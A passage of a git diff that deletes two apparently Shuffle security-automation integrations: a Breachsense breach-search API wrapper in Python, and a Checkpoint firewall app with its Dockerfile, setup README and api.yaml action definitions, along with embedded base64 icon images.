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 diff --git a/breachsense/1.0.0/requirements.txt b/breachsense/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/breachsense/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/breachsense/1.0.0/src/app.py b/breachsense/1.0.0/src/app.py deleted file mode 100644 index c28d0e08..00000000 --- a/breachsense/1.0.0/src/app.py +++ /dev/null @@ -1,84 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import requests - -from walkoff_app_sdk.app_base import AppBase - -class BreachSense(AppBase): - __version__ = "1.0.0" - app_name = "Breachsense" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def Basic_search(self, api_key, search_term, date): - if date: - url = f"https://breachsense.io/api?lic={api_key}&s={search_term}&date={date}&json" - else: - url = f"https://breachsense.io/api?lic={api_key}&s={search_term}&json" - try: - response = requests.get(url) - return response.text - except Exception as e: - return "Exception occured: %s" % e - - def Display_Description(self, api_key, search_term, date): - if date: - url = f"https://breachsense.io/api?lic={api_key}&s={search_term}&date={date}&attr&json" - else: - url = f"https://breachsense.io/api?lic={api_key}&s={search_term}&attr&json" - try: - response = requests.get(url) - return response.text - except Exception as e: - return "Exception occured: %s" % e - - def Strict_search(self, api_key, search_term, date): - if date: - url = f"https://breachsense.io/api?lic={api_key}&s={search_term}&date={date}&strict&json" - else: - url = f"https://breachsense.io/api?lic={api_key}&s={search_term}&strict&json" - try: - response = requests.get(url) - return response.text - except Exception as e: - return "Exception occured: %s" % e - - def Check_credits(self, api_key): - url = f"https://breachsense.io/api?lic={api_key}&r&json" - try: - response = requests.get(url) - return response.text - except Exception as e: - return "Exception occured: %s" % e - - def Domain_Monitor(self, api_key, action, domain): - url = f"https://breachsense.io/api?lic={api_key}&action={action}&dom={domain}&json" - try: - response = requests.get(url) - return response.text - except Exception as e: - return "Exception occured: %s" % e - - def Custom_search(self, api_key, search_term, date, extra_Params): - if date: - url = f"https://breachsense.io/api?lic={api_key}&s={search_term}&date={date}&{extra_Params}&json" - else: - url = f"https://breachsense.io/api?lic={api_key}&s={search_term}&{extra_Params}&json" - try: - response = requests.get(url) - return response.text - except Exception as e: - return "Exception occured: %s" % e - -if __name__ == "__main__": - BreachSense.run() diff --git a/checkpoint/1.0.0/Dockerfile b/checkpoint/1.0.0/Dockerfile deleted file mode 100644 index d573f438..00000000 --- a/checkpoint/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/checkpoint/1.0.0/README.md b/checkpoint/1.0.0/README.md deleted file mode 100644 index d08cdfed..00000000 --- a/checkpoint/1.0.0/README.md +++ /dev/null @@ -1,37 +0,0 @@ -# Checkpoint App -Checckpoint app for interacting with various checkpoint firewall functions from shuffle. -### Configure Checkpoint API server -1) Connect with SmartConsole to the Security Management Server. -2) From the left navigation panel, click Manage & Settings. -3) In the upper left section, click Blades. -4) In the Management API section, click Advanced Settings. -5) Configure the Startup Settings and the Access Settings. -- **Configure startup settings.** - Select Automatic start to automatically start the API server when you start or reboot the Management Server. -- **Configure startup settings.** -Select one of these options to configure which clients can connect to the API Server: - - 1) All IP addresses that can be used for GUI clients - You can send API requests from all IP addresses that are defined as Trusted Clients in SmartConsole. This includes requests from SmartConsole, Web services, and the mgmt_cli utility on the Management Server. - - 2) All IP addresses - You can send API requests from all IP addresses. This includes requests from SmartConsole, Web services, and the mgmt_cli utility on the Management Server. - -6) Publish the SmartConsole session. - -7) Restart the API Server on the Management Server with this command: -``` -api restart -``` -Read more about setting up API server [here](https://sc1.checkpoint.com/documents/R81/WebAdminGuides/EN/CP_R81_SecurityManagement_AdminGuide/Topics-SECMG/Managing-Security-through-API.htm). - -### Authentication -- Management server IP, username and password are used for authenticating with the checkpoint app. -- Make sure user have permissions to access the web APIs. - -### Note -- Checkpoint API has limit of max 3 session per user per minute. If you're opening more than 3 sessions make sure to add delay among workflow nodes. - - - - - - diff --git a/checkpoint/1.0.0/api.yaml b/checkpoint/1.0.0/api.yaml deleted file mode 100644 index 395d8dd7..00000000 --- a/checkpoint/1.0.0/api.yaml +++ /dev/null @@ -1,357 +0,0 @@ -app_version: 1.0.0 -name: Checkpoint -description: Checkpoint firewall integration for shuffle -contact_info: - name: "@davedhaval" - url: https://infopercept.com - email: dhavald@infopercept.com -tags: - - Firewall -categories: - - Network -authentication: - required: true - parameters: - - name: ip_addr - description: The management server IP - example: "192.168.44.121" - required: true - schema: - type: string - - name: user - description: User name - example: "admin" - required: true - schema: - type: string - - name: password - description: password - example: "******" - required: true - schema: - type: string -actions: - - name: list_packages - description: Executes the install-policy on a given list of targets. - parameters: - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: install_policy - description: Executes the install-policy on a given list of targets. - parameters: - - name: policy_package - description: Policy package identified by the name or UID. - required: true - multiline: false - example: 'INTERNET' - schema: - type: string - - name: targets - description: On what targets to execute this command. Targets may be identified by their name, or object unique identifier. - required: true - multiline: false - example: 'INTERNET' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - required: true - schema: - type: string - returns: - schema: - type: string - - name: add_host - description: Create new object. - parameters: - - name: host_list - description: List of hosts - required: true - multiline: false - example: 'INTERNET' - schema: - type: array - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: add_hosts_from_file - description: Takes text file (comma seperated) as input and loads IPs from that file into a list and makes host in checkpoint for all of those IPs and add them into single group. - parameters: - - name: file_id - description: file id - required: true - multiline: false - example: 'file id' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: show_hosts - description: Retrieve all hosts - parameters: - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: delete_host - description: Delete host. - parameters: - - name: host_name - description: Host name. - required: true - multiline: false - example: 'Host name' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: show_access_rule - description: Retrieve existing object using object name or uid. - parameters: - - name: name - description: Access rule name - required: true - multiline: false - example: 'INTERNET' - schema: - type: string - - name: layer - description: Layer that the rule belongs to identified by the name or UID. - required: true - multiline: false - example: 'INTERNET' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: add_access_rule - description: Create new access rule - parameters: - - name: name - description: Access rule name - required: true - multiline: false - example: 'INTERNET' - schema: - type: string - - name: layer - description: Layer that the rule belongs to identified by the name or UID. - required: true - multiline: false - example: 'INTERNET' - schema: - type: string - - name: position - description: Position in the rulebase. - required: true - multiline: false - example: 'INTERNET' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: show_groups - description: List all network groups - parameters: - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: create_group - description: Create a new group - parameters: - - name: name - description: Network group name - required: true - multiline: false - example: 'BLOCK_IP' - schema: - type: string - - name: members - description: List of Network objects identified by the name or UID. - required: false - multiline: false - example: 'INTERNET' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: add_hosts_to_group - description: Adds list of hosts to network group - parameters: - - name: name - description: Network group name - required: true - multiline: false - example: 'BLOCK_IP' - schema: - type: string - - name: members - description: List of Network objects identified by the name or UID. - required: true - multiline: false - example: '["192.168.xx.xx","192.168.xx.xx"]' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: show_access_rulebase - description: Shows the entire Access Rules layer. This layer is divided into sections. - parameters: - - name: name - description: name - required: true - multiline: false - example: 'BLOCK_IP' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: set_access_rule - description: Edit exsiting access rule - parameters: - - name: name - description: name - required: true - multiline: false - example: 'BLOCK_IP' - schema: - type: string - - name: layer - description: name - required: true - multiline: false - example: 'BLOCK_IP' - schema: - type: string - - name: action - description: Set ssl verification - example: "False" - options: - - Accept - - Drop - - name: destination - description: destination - required: true - multiline: false - example: 'BLOCK_IP' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: list_all_tasks - description: Retrieve all tasks and show their progress and details. - parameters: - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - - name: get_task - description: Show task progress and details. - parameters: - - name: task_id - description: task ID - required: true - multiline: false - example: '2eec70e5-78a8-4bdb-9a76-cfb5601d0bcb' - schema: - type: string - - name: ssl_verify - description: Set ssl verification - example: "False" - options: - - false - - true - returns: - schema: - type: string - -large_image: data:image/jpeg;base64,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